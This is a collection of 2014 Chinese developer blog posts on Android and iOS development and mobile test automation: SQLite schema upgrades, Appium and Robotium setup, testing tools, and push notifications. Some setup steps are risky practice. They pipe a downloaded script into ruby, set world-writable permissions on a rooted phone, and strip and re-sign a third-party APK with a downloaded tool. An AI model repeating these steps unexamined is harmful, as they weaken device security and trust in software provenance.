　　（4）说明：在上面的页面搭建中直接使用了静态单元格，但在实际开发中，通常不这么做。

　　（5）在tableview中添加headerview（显示一根蓝线）

　　三、 APP主流UI框架结构

　　请问：UITabBarController和导航控制器的在结构中的位置能否互调？（一个导航条）

　　设置控制器关联或出现问题，tableviewcontroller默认实现了数据源的方法，两个控制器把它反过来管理。关于导航条。导航条上显示什么内容由栈顶控制器来确定，下面的导航条只有一个（栈顶控制器就是tabbar控制器）。

　　补充说明：ios7全屏化的设计

　　打印ios7中控制器的层次结构：

　　打印ios6中控制器的层次结构：

顺其自然EVO 2014-11-18 10:07 发表评论

Android数据库升级实例

顺其自然EVO — Fri, 14 Nov 2014 02:03:00 GMT

　　第一部分

　　Andoird的SQLiteOpenHelper类中有一个onUpgrade方法。帮助文档中只是说当数据库升级时该方法被触发。经过实践，解决了我一连串的疑问：

　　1. 帮助文档里说的“数据库升级”是指什么？

　　你开发了一个程序，当前是1.0版本。该程序用到了数据库。到1.1版本时，你在数据库的某个表中增加了一个字段。那么软件1.0版本用的数据库在软件1.1版本就要被升级了。

　　2. 数据库升级应该注意什么？

　　软件的1.0版本升级到1.1版本时，老的数据不能丢。那么在1.1版本的程序中就要有地方能够检测出来新的软件版本与老的数据库不兼容，并且能够有办法把1.0软件的数据库升级到1.1软件能够使用的数据库。换句话说，要在1.0软件的数据库的那个表中增加那个字段，并赋予这个字段默认值。

　　3. 程序如何知道数据库需要升级？

　　SQLiteOpenHelper类的构造函数有一个参数是int version，它的意思就是指数据库版本号。比如在软件1.0版本中，我们使用SQLiteOpenHelper访问数据库时，该参数为1，那么数据库版本号1就会写在我们的数据库中。

　　到了1.1版本，我们的数据库需要发生变化，那么我们1.1版本的程序中就要使用一个大于1的整数来构造SQLiteOpenHelper类，用于访问新的数据库，比如2。

　　当我们的1.1新程序读取1.0版本的老数据库时，就发现老数据库里存储的数据库版本是1，而我们新程序访问它时填的版本号为2，系统就知道数据库需要升级。

　　4. 何时触发数据库升级？如何升级？

　　当系统在构造SQLiteOpenHelper类的对象时，如果发现版本号不一样，就会自动调用onUpgrade函数，让你在这里对数据库进行升级。根据上述场景，在这个函数中把老版本数据库的相应表中增加字段，并给每条记录增加默认值即可。

　　新版本号和老版本号都会作为onUpgrade函数的参数传进来，便于开发者知道数据库应该从哪个版本升级到哪个版本。

　　升级完成后，数据库会自动存储最新的版本号为当前数据库版本号。

　　参考：StackOverFlow对“数据库版本在数据库中的存储位置”的问答。

　　第二部分做Android应用，不可避免的会与SQLite打交道。随着应用的不断升级，原有的数据库结构可能已经不再适应新的功能，这时候，就需要对 SQLite数据库的结构进行升级了。 SQLite提供了ALTER TABLE命令，允许用户重命名或添加新的字段到已有表中，但是不能从表中删除字段。

　　并且只能在表的末尾添加字段，比如,为 Subscription添加两个字段：

　　1 ALTER TABLE Subscription ADD COLUMN Activation BLOB;

　　2 ALTER TABLE Subscription ADD COLUMN Key BLOB;

　　另外，如果遇到复杂的修改操作，比如在修改的同时，需要进行数据的转移，那么可以采取在一个事务中执行如下语句来实现修改表的需求。

　　1. 将表名改为临时表

　　ALTER TABLE Subscription RENAME TO __temp__Subscription;

　　2. 创建新表

　　CREATE TABLE Subscription (OrderId VARCHAR(32) PRIMARY KEY ,UserName VARCHAR(32) NOTNULL ,ProductId VARCHAR(16) NOT NULL);

　　3. 导入数据

　　INSERT INTO Subscription SELECT OrderId, “”, ProductId FROM __temp__Subscription;

　　或者

　　INSERT INTO Subscription() SELECT OrderId, “”, ProductId FROM __temp__Subscription;

　　* 注意双引号”” 是用来补充原来不存在的数据的

　　4. 删除临时表

　　DROP TABLE __temp__Subscription;

　　通过以上四个步骤，就可以完成旧数据库结构向新数据库结构的迁移，并且其中还可以保证数据不会应为升级而流失。

　　当然，如果遇到减少字段的情况，也可以通过创建临时表的方式来实现。

顺其自然EVO 2014-11-14 10:03 发表评论

Appium知识技巧收集

顺其自然EVO — Tue, 11 Nov 2014 02:10:00 GMT

1、真机调试打开USB调试模式

　　2、启动脚本提示apk包Could not make a string，是释放string.json出错，由于apk损坏导致，验证是安装到真机上开启APP

　　3、Activity要写对，否则提示不存在Activity，建议写完整名称，完整包名类似com.xxx.xxx.Activity；启动Activity要写对，否则提示XXX never XXX。包名参数与Activity参数可以在AndroidManifest.xml（获取方法http://code.google.com/p/android-apktool/）中查看，包名：android:versionCode="12" android:versionName="2.6.0.0.0" package="com.xxx.xxx"，一般位于XML定义的下一行，启动Activity在这里看，带有LAUNCHER关键字

　　android:name="com.xxx.xxx.SplashActivity" android:launchMode="singleTop" android:screenOrientation="portrait" ，本例中是com.xxx.xxx.SplashActivity

　　4、Appium支持一个Webdriver元素定位方法的子集

　　find by "tag name" (i.e., 通过UI的控件类型)

　　find by "name" (i.e., 通过元素的文本, 标签, 或者开发同学添加的id标示, 比如accessibilityIdentifier)

　　find by "xpath" (i.e., 具有一定约束的路径抽象标示, 基于XPath方式)

　　5、Appium 在 Mac OS X 上安装使用文档，参考：http://testerhome.com/topics/166，Windows平台，参考：http://testerhome.com/topics/155，Linux平台，参考：http://testerhome.com/topics/160，Android平台，参考：http://testerhome.com/topics/153

　　6、iOS模拟器—>硬件—>设备—>iPhone

　　7、【坑】Appium在MacOS10.9以及iOS7上面的问题：启动appium脚本没有问题。安装好应用之后log中会报出500，同时instruments会显示simulator session timeout。

　　8、生成build/Test.appa的方法，进入到目录下面编译

　　xcodebuild -sdk iphonesimulator6.0

　　9、安装路径问题

　　全局路径，也就是带上参数 -g 的安装模式。这个命令会把模块安装在 $PREFIX/lib/node_modules 下，可通过命令 npm root -g 查看全局模块的安装目录。 package.json 里定义的bin会安装到 $PREFIX/bin 目录下，如果模块带有 man page 会安装到 $PREFIX/share/man 目录下。

　　本地路径，不带 -g 参数的。从当前目录一直查找到根目录/下有没有 node_modules 目录，有模块安装到这个目录下的 node_modules 目录里，如果没有找到则把模块安装到当前目录 node_modules 目录下。package.josn 定义的 bin 会安装到 node_modules/.bin 目录下，man page 则不会安装。

顺其自然EVO 2014-11-11 10:10 发表评论

Appium for Mac环境准备篇

顺其自然EVO — Thu, 06 Nov 2014 02:34:00 GMT

　之前写过一篇Appium for windows的文章，因为是09年的T400，启动Android模拟器的时候死机三次，那就公司申请台Macbook air吧，15寸的Macbook Pro实在太重了，也就Mac才能真正发挥Appium的功能，支持Android和iOS。好了，废话不多，开始。

　　1. 爬墙

　　因为后续安装过程中可能会碰到墙的问题，所以首先得解决爬墙的问题。

　　我的方便，公司提供代理。

　　2. java

　　guowenxie-macbookair:~ guowenxie$ java -version

　　java version "1.8.0_05"

　　Java(TM) SE Runtime Environment (build 1.8.0_05-b13)

　　Java HotSpot(TM) 64-Bit Server VM (build 25.5-b02, mixed mode)

　　3. git

　　guowenxie-macbookair:~ guowenxie$ git --version

　　git version 1.8.5.2 (Apple Git-48)

　　4. ruby

　　guowenxie-macbookair:~ guowenxie$ ruby -v

　　ruby 2.0.0p451 (2014-02-24 revision 45167) [universal.x86_64-darwin13]

　　5. brew

　　guowenxie-macbookair:~ guowenxie$ brew -v

　　Homebrew 0.9.5

　　这边提下brew的安装，brew是Mac OS不可或缺的套件管理器

　　执行下面命令

　　ruby -e "$(curl -fsSL https://raw.github.com/Homebrew/homebrew/go/install)"

　　6. node

　　有了brew安装node就方便了

　　brew install node

　　7. npm

　　guowenxie-macbookair:~ guowenxie$ npm -v

　　2.0.0-alpha-5

　8. Appium

　　现在可以开始安装Appium

　　guowenxie-macbookair:~ guowenxie$ appium -v

　　1.2.0

　　9. wd

　　npm install wd

　　10. Xcode和Android SDK

　　这个不说了

　　11. 检查环境

　　Appium提供了一个doctor，运行appium-doctor

guowenxie-macbookair:~ guowenxie$ appium-doctor

Running iOS Checks

Xcode is installed at /Applications/Xcode.app/Contents/Developer

Xcode Command Line Tools are NOT installed: Error: Command failed: No receipt for 'com.apple.pkg.CLTools_Executables' found at '/'.

Fix it (y/n) y

Press any key to continue:

Xcode Command Line Tools are installed.

DevToolsSecurity is enabled.

The Authorization DB is set up properly.

Node binary found at /usr/local/bin/node

iOS Checks were successful.

Running Android Checks

ANDROID_HOME is set but does not exist on the file system at "Users/guowenxie/Documents/adt-bundle_mac-x86_64-20140702/sdk"

Appium-Doctor detected problems. Please fix and rerun Appium-Doctor.

　　这里可以看到我Xcode Command Line Tools没有安装，这个方便，Fix it 的时候输入Y，就能自动导向安装了。

　　另一个是ANDROID_HOME的环境变量没配置好，那么我们要配置下。

　　12. bash_profile文件

　　Mac 默认是没有这个文件的，我们自己建一个

　　touch .bash_profile

　　vi .bash_profile

　　打开bash_profile文件配置ANDROID_HOME和JAVA_HOME

　　export ANDROID_HOME="/Users/guowenxie/Documents/adt-bundle-mac-x86_64-20140702/sdk"

　　export JAVA_HOME=$(/usr/libexec/java_home)

　　source .bash_profile

　　好了，再次运行appium-doctor

guowenxie-macbookair:~ guowenxie$ appium-doctor

Running iOS Checks

Xcode is installed at /Applications/Xcode.app/Contents/Developer

Xcode Command Line Tools are installed.

DevToolsSecurity is enabled.

The Authorization DB is set up properly.

Node binary found at /usr/local/bin/node

iOS Checks were successful.

Running Android Checks

ANDROID_HOME is set to "/Users/guowenxie/Documents/adt-bundle-mac-x86_64-20140702/sdk"

JAVA_HOME is set to "/usr/libexec/java_home."

ADB exists at /Users/guowenxie/Documents/adt-bundle-mac-x86_64-20140702/sdk/platform-tools/adb

Android exists at /Users/guowenxie/Documents/adt-bundle-mac-x86_64-20140702/sdk/tools/android

Emulator exists at /Users/guowenxie/Documents/adt-bundle-mac-x86_64-20140702/sdk/tools/emulator

Android Checks were successful.

All Checks were successful

　　到此，环境基本准备好了。

　　最后，如果不想通过命令行安装Appium，也可以安装dmg

顺其自然EVO 2014-11-06 10:34 发表评论

Appium环境抢建(for web browser test)

顺其自然EVO — Mon, 03 Nov 2014 01:16:00 GMT

　Android SDK

　　Appium

　　安装 nodejs

　　安装 Appium

　　配置手机

　　下载&运行测试项目

　　Appium是Android平台上一个测试框架。

　　本文简单地介绍如何在Linux机器上安装并运行该框架。

　　应用环境：

　　Ubuntu 12.04 LTS

　　HTC One X (endeavoru, S720e)

　　Android SDK

　　请参考SDK环境，这里就不多说了。

　　Appium

　　安装 nodejs

　　apt-get install nodejs

　　# 或者通过nodejs源码编译，这样可以使用最新的代码

　　cd ~/downloads

　　wget http://nodejs.org/dist/v0.10.25/node-v0.10.25.tar.gz

　　tar -zxf node-v0.10.25.tar.gz

　　cd ode-v0.10.25

　　./configure --prefix=/usr/local/node

　　make && make install

　　# edit ~/.bashrc and add node to your PATH env

　　安装 Appium

　　npm install -g appium # install appium as a global app

　　配置手机

　　手机需要是已经root过的！

　　adb shell

　　chmod 777 /data/local

　　另外，也要确保你手机上安装了最新的chrome浏览器!

　　Note:

　　这步是必需的，否则后面会发生无法启动浏览器的异常。

　　下载&运行测试项目

　　# 下载项目

　　git clone git@github.com:ytfei/appium_chrome_demo.git

　　cd appium_chrome_demo

　　npm install # 安装依赖包

　　# 启动appium

　　appium -g appium.log &

　　# 开始测试

　　node web.js

顺其自然EVO 2014-11-03 09:16 发表评论

Appium环境抢建(for web browser test)

顺其自然EVO — Thu, 30 Oct 2014 03:24:00 GMT

　Android SDK

　　Appium

　　安装 nodejs

　　安装 Appium

　　配置手机

　　下载&运行测试项目

　　Appium是Android平台上一个测试框架。

　　本文简单地介绍如何在Linux机器上安装并运行该框架。

　　应用环境：

　　Ubuntu 12.04 LTS

　　HTC One X (endeavoru, S720e)

　　Android SDK

　　请参考SDK环境，这里就不多说了。

　　Appium

　　安装 nodejs

　　apt-get install nodejs

　　# 或者通过nodejs源码编译，这样可以使用最新的代码

　　cd ~/downloads

　　wget http://nodejs.org/dist/v0.10.25/node-v0.10.25.tar.gz

　　tar -zxf node-v0.10.25.tar.gz

　　cd ode-v0.10.25

　　./configure --prefix=/usr/local/node

　　make && make install

　　# edit ~/.bashrc and add node to your PATH env

　　安装 Appium

　　npm install -g appium # install appium as a global app

　　配置手机

　　手机需要是已经root过的！

　　adb shell

　　chmod 777 /data/local

　　另外，也要确保你手机上安装了最新的chrome浏览器!

　　Note:

　　这步是必需的，否则后面会发生无法启动浏览器的异常。

　　下载&运行测试项目

　　# 下载项目

　　git clone git@github.com:ytfei/appium_chrome_demo.git

　　cd appium_chrome_demo

　　npm install # 安装依赖包

　　# 启动appium

　　appium -g appium.log &

　　# 开始测试

　　node web.js

顺其自然EVO 2014-10-30 11:24 发表评论

2014非常好用的开源Android测试工具

顺其自然EVO — Fri, 17 Oct 2014 07:34:00 GMT

当前有很大的趋势是转向移动应用平台，Android 是最广泛使用的移动操作系统，2014 年大约占 80% 以上的市场。在开发 Android 应用的时候要进行测试，现在市场上有大量的测试工具。

　　本文主要是展示一系列的开源 Android 测试工具。每个工具都会有相应的简短介绍，还有一些相关的资源。Android 测试工具列表是按照字母来排序的，最后还会介绍几个不是特别活跃的 Android 测试相关的开源项目。

　　本文提到的开源 Android 软件测试工具包括：Android Test Kit, AndroidJUnit4, Appium, calabash-android, Monkey, MonkeyTalk, NativeDriver, Robolectric, RoboSpock, Robotium, UIAutomator, Selendroid。

　　Android Test Kit

　　Android Test Kit 是一组 Google 开源测试工具，用于 Android 平台，包含 Espresso API 可用于编写简洁可靠的 Android UI 测试。

　　AndroidJUnit4

　　AndroidJUnit4 是一个让 JUnit 4 可以直接运行在 Android 设备上的开源命令行工具。

　　OSChina URL: http://www.oschina.net/p/androidjunit4

　　Appium

　　Appium 是一个开源、跨平台的自动化测试工具，用于测试原生和轻量移动应用，支持 iOS, Android 和 FirefoxOS 平台。Appium 驱动苹果的 UIAutomation 库和 Android 的 UiAutomator 框架，使用 Selenium 的 WebDriver JSON 协议。Appinm 的 iOS 支持是基于 Dan Cuellar's 的 iOS Auto. Appium 同时绑定了 Selendroid 用于老的 Android 平台测试。

　　OSChina URL: http://www.oschina.net/p/appium

　　相关资源

　　* Appium Tutorial

　　* Android UI testing with Appium

　　Calabash-android

　　calabash-android 是一个基于 Cucumber 的 Android 的功能自动化测试框架。Calabash 允许你写和执行，是开源的自动化移动应用测试工具，支持 Android 和 iOS 原生应用。Calabash 的库允许原生和混合应用的交互测试，交互包括大量的终端用户活动。Calabash 可以媲美 Selenium WebDriver。但是，需要注意的是 web 应用和桌面环境的交互跟触摸屏应用的交互是不同的。Calabash 专为触摸屏设备的原生应用提供 APIs。

　　OSChina URL: http://www.oschina.net/p/calabash-android

　　相关资源

　　* A better way to test Android applications using Calabash

　　* Calabash Android: query language basics

　　Monkey

　　Monkey 是 Google 开发的 UI/应用测试工具，也是命令行工具，主要针对压力测试。你可以在任意的模拟器示例或者设备上运行。Monkey 发送一个用户事件的 pseudo-random 流给系统，作为你开发应用的压力测试。

　　OSChina URL: http://developer.android.com/tools/help/monkey.html

　　MonkeyTalk

　　MonkeyTalk 是世界上最强大的移动应用测试工具。MonkeyTalk 自动为 iOS 和 Android 应用进行真实的，功能性交互测试。MonkeyTalk 提供简单的 "smoke tests"，复杂数据驱动的测试套件。MonkeyTalk 支持原生，移动和混合应用，真实设备或者模拟器。MonkeyTalk 使得场景捕获非常容易，可以记录高级别，可读的测试脚本。同样的命令可以用在 iOS 和 Android 应用上。你可以记录一个平台的一个测试，并且可以在另外一个平台回放。MonkeyTalk 支持移动触摸和基于手势交互为主的移动体验。点击，拖拽，移动，甚至是手指绘制也可以被记录和回放。

　　OSChina URL: http://www.oschina.net/p/monkeytalk

　　相关资源

　　* Using MonkeyTalk in AndroidStudio

　　NativeDriver

　　NativeDriver 是 WebDriver API 的实现，是原生应用 UI 驱动，而不是 web 应用。

　　OSChina URL: http://www.oschina.net/p/nativedriver

　Robolectric

　　Robolectric 是一款Android单元测试框架，使用 Android SDK jar，所以你可以使用测试驱动开发 Android 应用。测试只需几秒就可以在工作站的 JVM 运行。Robolectric 处理视图缩放，资源加载和大量 Android 设备原生的 C 代码实现。Robolectric 允许你做大部分真实设备上可以做的事情，可以在工作站中运行，也可以在常规的 JVM 持续集成环境运行，不需要通过模拟器。

　　OSChina URL: http://www.oschina.net/p/robolectric

　　Additional resources

　　* Better Android Testing with Robolectric 2.0

　　Using Robolectric for Android testing – Tutorial

　　RoboSpock

　　RoboSpock 是一个开源的 Android 测试框架。提供简单的编写 BDD 行为驱动开发规范的方法，使用Groovy 语音，支持 Google Guice 库。RoboSpock 合并了 Robolectric 和 Spock 的功能。

　　OSChina URL: http://www.oschina.net/p/robospock

　　相关资源

　　* RoboSpock – Behavior Driven Development (BDD) for Android

　　Robotium

　　Robotium 是一款国外的Android自动化测试框架，主要针对Android平台的应用进行黑盒自动化测试，它提供了模拟各种手势操作（点击、长按、滑动等）、查找和断言机制的API，能够对各种控件进行操作。Robotium结合Android官方提供的测试框架达到对应用程序进行自动化的测试。另外，Robotium 4.0版本已经支持对WebView的操作。Robotium 对Activity，Dialog，Toast，Menu 都是支持的。

　　OSChina URL: http://www.oschina.net/p/robotium

　　相关资源

　　* Robotium – Testing Android User Interface

　　* Android user interface testing with Robotium – Tutorial

　　UIAutomator

　　uiautomator 测试框架提高用户界面（UI）的测试效率，通过自动创建功能 UI 测试示例，可以在一个或者多个设备上运行你的应用。

　　OSChina URL: http://www.oschina.net/p/uiautomator

　　相关资源

　　* Automatic Android Testing with UiAutomator

　　Selendroid

　　Selendroid 是一个 Android 原生应用的 UI 自动化测试框架。测试使用 Selenium 2 客户端 API 编写。Selendroid 可以在模拟器和实际设备上使用，也可以集成网格节点作为缩放和并行测试。

　　OSChina URL: http://www.oschina.net/p/selendroid

　　相关资源

　　* Mobile Test Automation with Selendroid

　　* Road to setup Selendroid and create first test script of android application

　　* Up and running with: Selendroid

　　一些停止维护的 Android 测试工具

　　一些几乎没有继续维护的开源 Android 测试工具项目（至少是最近几个月都没有更新的项目）。

　　Emmagee

　　Emmagee 是监控指定被测应用在使用过程中占用机器的CPU、内存、流量资源的性能测试小工具。Emmagee 同时还提供非常酷的一些特性，比如定制间隔来收集数据，使用浮动窗口呈现实时进程状态等。

　　OSChina URL: http://www.oschina.net/p/emmagee

　　Sirocco

　　Scirocco（scirocco-webdriver）是开源的应用自动化测试工具，可以从 Eclipse 访问必要的测试设备。Scirocco 提供自动化的 Android 应用测试功能，代替手工测试。Scirocco 支持谷歌的 NativeDriver，把 AndroidDriver 作为主要的测试库。Scirocco 包括三个部分：NativeDriver，AndroidDriver，scirocco 插件（一个 Eclipse 插件；可以自动执行 scenario 测试和制作测试报告截图）。

顺其自然EVO 2014-10-17 15:34 发表评论

Android如何进行单元测试

顺其自然EVO — Thu, 16 Oct 2014 01:50:00 GMT

　Menifest.xml中加入：

中加入：

android:name="android.test.runner" />

外面加入：

android:label="Test for my app"/>

　　编写单元测试代码：必须继承自AndroidTestCase类

package name.feisky.android.test;

import android.test.AndroidTestCase;

import junit.framework.Assert;

public class MyTest extends AndroidTestCase {

private static final String Tag="MyTest";

}

顺其自然EVO 2014-10-16 09:50 发表评论

Android中数据库升级onUpgrade方法说明

顺其自然EVO — Sun, 28 Sep 2014 02:44:00 GMT

Andoird的SQLiteOpenHelper类中有一个onUpgrade方法。帮助文档中只是说当数据库升级时该方法被触发。经过实践，解决了我一连串的疑问：

　　1. 帮助文档里说的“数据库升级”是指什么？

　　2. 数据库升级应该注意什么？

　　3. 程序如何知道数据库需要升级？

　　到了1.1版本，我们的数据库需要发生变化，那么我们1.1版本的程序中就要使用一个大于1的整数来构造SQLiteOpenHelper类，用于访问新的数据库，比如2。

　　4. 何时触发数据库升级？如何升级？

　　新版本号和老版本号都会作为onUpgrade函数的参数传进来，便于开发者知道数据库应该从哪个版本升级到哪个版本。

　　升级完成后，数据库会自动存储最新的版本号为当前数据库版本号。

顺其自然EVO 2014-09-28 10:44 发表评论

Android、iOS和Windows Phone中的推送技术

顺其自然EVO — Wed, 27 Aug 2014 02:43:00 GMT

　　推送并不是什么新技术，这种技术在互联网时代就已经很流行了。只是随着进入移动互联网时代，推送技术显得更加重要。因为在智能手机中，推送从某种程度上，可以取代使用多年的短信，而且与短信相比，还可以向用户展示更多的信息（如图像、表格、声音等）。

　　推送技术的实现通常会使用服务端向客户端推送消息的方式。也就是说客户端通过用户名、Key等ID注册到服务端后，在服务端就可以将消息向所有活动的客户端发送。

　　实际上，在很多移动操作系统中，官方都为其提供了推送方案，例如，Google的云推送、IOS、Windows Phone7/8也都提供了类似的推送方案。不过这些推送方案的服务器都在国外，有一些推送服务（如Google的云推送）在国内由于某些原因不太稳定，所以国内近几年涌现出了很多专门为国人打造的推送服务。

　　本文将从各种流行移动操作系统入手介绍推送技术的各种实现方式。当然，我们的主要目的是讨论Android的推送技术。

　　一、iOS的推送技术

　　Apple为IOS提供了很完美的推送方案，其基本原理是Apple提供了自己的推送服务器，叫APNS（Apple Push Notification Service，苹果推送通知服务器）。而客户端设备（IPhone、IPad等）直接与APNS建立长连接。不过向客户端设备发送的消息并不是由APNS产生的，而是在需要发送消息的用户自己提供的服务器（称为Provider）中产生的，然后Provider将消息传送给APNS，最后由APNS将消息传送给客户端设备。也就是说，消息最开始由Provider产生，然后Provider将消息传送给APNS，最后再由APNS传送给客户端设备。消息传递的过程如图1所示。

　　在发送消息到客户端设备接收到消息的过程中，始终伴随这一个令牌的传送（device token）。要想使用APNS提供消息服务，应用程序需要先向IOS注册需要提供的一个必要的信息就是与当前设备有关的device token，IOS在接收到devicetoken后，会向APNS查询这个device token是否在APNS上注册了（所有的IOS设备在第一次使用时都需要向苹果服务器注册一个账号，否则无法从AppleStore下载应用，当然更无法使用推送服务了），如果已经注册，APNS会直接向应用程序返回这个devicetoken。应用程序获得这个devicetoken后，表示APNS已经允许向自己推送消息了，接着还需要将该device token发送给推送服务器（Provider）。到这里应用程序已经成功将自己注册到APNS中了。现在就可以通过Provider产生要推送的消息，然后Provider会将消息发送给APNS服务器，最后APNS服务器会直接向应用程序发送消息。这个过程比较复杂，不过看一下图2的描述就会对这一过程更加了解了。每一个流程描述前面的数字表示发送的时间先后顺序。

　　二、Windows Phone的推送技术

　　微软为Window Phone提供的推送方案与IOS类似，也需要自己准备推送服务器（可以称为Cloud Service）。只是表示设备的ID变成了Uri。在Window Phone中有一个Push Client Service（PCS）。所有需要推送服务的应用程序都需要与Push Client Service通信。下面是Window Phone推送的基本步骤，读者可以与图3对照来看这一过程。

　　第1步：应用程序会向Push Client Service请求一个Push Notification URI（①）。

　　第2步：如果当前Window Phone设备已经在微软服务器注册了，Push Client Service会从MPNS（Microsoft Push Notification Service ，微软推送通知服务）获取Push Notification URI，并返回给应用程序，表示推送服务可用（②和③）。

　　第3步：应用程序需要将Push Notification URI发送给自己的推送服务器（Cloud Service）（④）。

　　第4步：如果需要推送消息，Cloud Service会将消息发送到MPNS，然后MPNS会将消息发送给Push Client Service，最后由Push Client Service将消息传送给应用程序（⑤、⑥和③）。

三、Android的推送方案

　　Android的推送方案就比较多了，也比较乱。例如，有Google官方提供的C2DM（Android Cloud to Device Messaging）；第三方的推送服务（如极光推送）；还有通过各种协议实现的推送服务端程序（如AndroidPN），用户通过这些服务端程序可以搭建自己的推送服务器。这些推送技术会在本节后面的部分详细介绍，本节先来介绍一下Android中经常使用的各种推送技术。当然，这些推送技术也能用于其它的移动设备，但由于Android的官方推送服务（C2DM）在国内使用上有一些问题，所以基于Android的第三方推送服务较其它系统多，因此这里主要针对Android来介绍。

　　通常推送技术会使用如下两种方式实现。

　　1. 轮询（Pull）方式

　　2. 持久连接方式（服务端Push方式）

　　轮询方式就是客户端以一定的时间间隔不断查询服务端是否有新的消息。这种方式必须自己实现与服务器之间的通信机制，例如消息队列等。而且还要考虑轮询的频率，如果太慢可能导致某些消息的延迟，如果太快，则会大量消耗网络带宽和电池。所以大多数推送服务都不会使用轮询方式。

　　持久连接方式也就是Push方式，对于客户端来说，是一种被动的方式，而主动权在服务端，当有消息时，服务端会向所有注册到推送服务器的客户端推送消息。这种推送方式的好处是可以保证实时性，而且客户端实现简单。当然，也会有不足，例如，如果大量的客户端与服务端保持长连接时，会消耗服务器的资源。不过在未推送消息时，这些长连接就成了空闲连接，通常这种连接主要消耗的是内存资源。例如，200万用户可能会消耗数十GB的内存。因此搭建这种推送机制时要使用性能好的服务器。

　　持久连接的实现有很多方式，例如，可以使用XMPP作为通信协议。XMPP的主要优势是协议成熟、强大，可扩展性强。XMPP更多地用于IM系统中，后面要介绍的AndroidPN也是用了XMPP协议。

　　XMPP也有明显的缺点，例如，协议很复杂，如果吃透XMPP协议可能需要很长时间，还有就是由于XMPP是基于XML的，从而造成了数据冗余、这样会造成移动设备费流量、耗电等弊病。

　　除了XMPP，还可以使用MQTT协议，这种协议的主要优势是简洁、小巧、可扩展性强，从而带来了省流量、省电等优点，而且有C++版的服务端组件rsmb。缺点是协议不够成熟，而且实现较复杂，而且rsmb不开源，部署硬件的成本较高。

　　尽管C2DM服务在国内可能不太稳定或有一些地区不可用，但还是有必要介绍一下C2DM的原理。不过对于在国内使用的应用最好使用第三方的推送服务，或自己假设推送服务器。

　　C2DM和IOS的APNS以及Window Phone的MPNS大同小异。还需要自己准备一台推送服务器，并通过如下步骤实现消息的推送。

　　第1步：移动设备上的C2DM服务需要与Google官方的C2DM服务器交互，验证当前设备是否在C2DM服务器上注册了，如果已经注册，C2DM服务器会返回一个注册ID给客户端的C2DM服务。（①和②）

　　第2步：客户端的C2DM服务会与自己的推送服务器交互，将账号和C2DM服务器返回的注册ID传给推送服务器。（③）

　　第3步：如果要推送消息，推送服务器会将注册ID和要推送的消息先发送到C2DM服务器，然后C2DM服务器会直接将消息推送给客户端（手机、平板电脑的设备）（④和⑤）。

　　读者可以对照图4来理解这3个步骤。

　　除了使用官方的推送方案外，现在国内涌现出多个第三方的推送方案，例如，极光推送（JPush）、百度推送等。读者也可以用一下，这些同时通常是免费的（可能推送多媒体数据需要收费）。

顺其自然EVO 2014-08-27 10:43 发表评论

Android Robotium搭建环境测试微信

顺其自然EVO — Wed, 20 Aug 2014 01:36:00 GMT

因为要在命令行下运行一些android的工具，所以配置一些环境变量会比较方便：

　　遇到问题： java -jar re-sign.jar 出现提示android路径没有配置好：

　　需要配置如下：

　　配置ANDROID_HOME为android sdk的安卓目录，例如：D:\android-sdk

　　在path下添加这两个：

　　%ANDROID_HOME%\tools;%ANDROID_HOME%\platform-tools;

　　重新开关一次命令窗口

　　在真机中安装APK（以腾讯微信作为测试的apk）

　　因为robotium要求被测应用和测试代码要有一致的key,所以我们需要把下载到的apk，通过re-sign.jar来产生debug key的apk，这个重新生成的apk就会跟测试项目签名一致了

　　re-sign.jar可以从这里下载到：

　　http://www.troido.de/re-sign.jar

　　下载完后，在命令行下通过 java -jar re-sign.jar就会出现一个节目，然后将apk拖到这个节目，就会自动生成一个debug key的apk

　　产生新apk的过程中会弹出一个信息框，记得截下图，因为里面有两个信息我们等会的代码中需要用到

　　然后打开模拟器（模拟器器一定要打开才能安装成功），然后打开命令行

　　adb install mitalk_debug.apk(新生成apk的名称)

　　安装成功就可以再模拟器里看到该应用的图标了

　　注意：

　　一、删除之前 APK 文件的签名

　　1、解压apk 文件

　　2、删除解压出来文件夹中的 META-INF 目录：META-INF 存放签名后的CERT 和MANIFEST 文件，用于识别软件的

　　签名及版权。

　　3、删除文件夹后重新把解压出来的其它文件夹压缩为zip 文件，然后直接把文件后缀改为apk

　　二、为 APK 重新生成签名

　　1、将证书复制到与需要重新签名的apk 文件相同的目录下

　　2、jarsigner -keystore debug.keystore -storepass android -keypass android D:\Robotium\robotium\robotium\weixin_delet_rsa_sf.apk androiddebugkey

　　创建自动化测试项目

　　打开Eclipse，点击File->New一个Android Test Project,然后点击下一步的时候选择This project(因为我们没有米聊应用的源码)，然后选择要在哪个android版本上测试

　　在该项目下创建一个包，com.tencent.test,在该包下创建LoginTest类，如下

package com.mitalk.test;

import android.app.Activity;

import android.test.ActivityInstrumentationTestCase2;

import com.jayway.android.robotium.solo.Solo;

@SuppressWarnings("rawtypes")

public class LoginTest extends ActivityInstrumentationTestCase2 {

public Solo solo;

public Activity activity;

private static Class launchActivityClass;

// 对应re-sign.jar生成出来的信息框里的两个值

private static String mainActiviy = "com.tencent.mm.ui.LauncherUI";

private static String packageName = "com.tencent.mm";

static {

try {

launchActivityClass = Class.forName(mainActiviy);

} catch (ClassNotFoundException e) {

throw new RuntimeException(e);

}

@SuppressWarnings("unchecked")

public LoginTest() {

super(packageName, launchActivityClass);

}

@Override

protected void setUp() throws Exception {

super.setUp();

this.activity = this.getActivity();

// this.solo = new Solo(getInstrumentation(), getActivity());

}

public void testLoginWithIncorrentUsernameAndPassword() throws Exception {

wait(5000);

//待完成

}

@Override

public void tearDown() throws Exception {

try {

this.solo.finishOpenedActivities();

} catch (Throwable e) {

e.printStackTrace();

}

this.activity.finish();

super.tearDown();

}

顺其自然EVO 2014-08-20 09:36 发表评论